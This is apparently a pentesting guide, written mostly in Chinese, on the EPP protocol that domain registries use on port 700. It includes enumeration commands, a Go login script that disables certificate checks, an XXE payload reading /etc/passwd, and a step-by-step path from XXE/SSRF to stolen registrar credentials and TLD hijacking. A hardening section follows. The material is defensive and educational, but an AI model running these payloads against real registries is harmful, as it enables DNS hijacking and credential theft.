700 - Pentesting EPP

基本信息

可扩展的配置协议 (EPP) 是一种网络协议，用于 管理域名和其他互联网资源，由域名注册机构和注册商使用。它使域名注册、续订、转移和删除过程的自动化成为可能，确保域名系统 (DNS) 中不同实体之间的标准化和安全的通信框架。EPP 旨在灵活和可扩展，允许随着互联网基础设施需求的变化添加新功能和命令。

基本上，它是 顶级域名注册商将提供给域名注册商 的协议之一，以注册顶级域中的新域名。

渗透测试

在这篇非常有趣的文章中 你可以看到一些安全研究人员发现该协议的多个 实现 存在 XXE (XML 外部实体) 漏洞，因为该协议使用 XML 进行通信，这将允许攻击者接管数十个不同的顶级域名。

枚举与侦察

EPP 服务器几乎总是在 TCP 700/tcp 上通过 TLS 监听。典型的部署还强制 双向 TLS (mTLS)，因此客户端必须提供由注册机构 CA 签发的有效证书。尽管如此，许多私有测试或预生产部署却忘记了这一控制：

# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head

如果服务器在 TLS 握手后不终止连接，您可以尝试发送未经身份验证的 <hello/> 消息：

<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>

Open-source clients useful for testing

• epp-client (Go) – 积极维护，支持 TCP/TLS 和 EPP-over-HTTPS (RFC 8730): go install github.com/domainr/epp/cmd/epp@latest
• gandi/go-epp – 最小客户端库，可以轻松用于模糊测试或 nuclei 风格的工作流。
• afq984/php-epp-client – 许多小型注册商使用的 PHP 实现；一个方便的代码审查目标。

Example minimal login+check script with Go epp-client:

package main
import (
"github.com/domainr/epp"
"crypto/tls"
)

func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}

常见弱点与2023-2025年漏洞

XXE / SSRF 负载（适用于许多Java/Spring实现）

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>

当解析器配置错误（XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true）时，文件内容会在 <resData> 结构中返回。

其他典型发现

1. 弱凭证策略 – EPP 登录密码短于 8 个字符；由于规范仅建议（而不是要求）速率限制，暴力破解通常是可行的。
2. 缺少 registryLock / serverUpdateProhibited 状态 – 一旦身份验证通过，攻击者可以立即更新 NS 记录并窃取流量。
3. 未签名的轮询消息 – 一些实现仍然不对轮询问答消息进行签名，从而使注册商操作员容易受到欺骗/钓鱼攻击。

攻击路径：从零到 TLD 劫持

1. 发现 EPP 端点（通常隐藏在像 ot&e.<tld>.nic.<cc> 的通用主机后面）。
2. 利用上述弱点之一获取注册商级凭证（XXE → SSRF 到 IMDSv1，凭证外泄，或 TLS 绕过）。
3. 发出 <update> 请求，将域的 hostObj 记录更改为攻击者控制的名称服务器。
4. （可选）提交 <transfer> 将域转移到攻击者控制的注册商 – 许多注册机构仍依赖于 单一授权码。
5. 获利：完全控制 DNS 区域，能够通过 ACME 请求 TLS 证书。

防御措施与加固

• 强制 mTLS 与每个注册商的客户端证书，并固定注册机构 CA。
• 设置 parserFeature secure-processing=true 或等效项以消除 XXE。
• 对 XML 解析器进行 持续模糊测试（例如，使用 go-fuzz 或 jazzer 进行 Java）。
• 为高价值域部署 Registry Lock / server*Prohibited 状态。
• 监控 poll 队列中的可疑 <transfer> 或 <update> 命令，并实时警报。
• ICANN 2024 DNS 滥用合同修正案要求注册机构证明速率限制和身份验证控制 – 利用它们。

参考文献

• ICANN 安全与稳定咨询委员会 (SSAC). "SAC118: 注册运营商未能实施 EPP 安全控制的后果". 2024.
• HackCompute – "黑客 EPP 服务器：利用 XXE 劫持 TLD" (2023).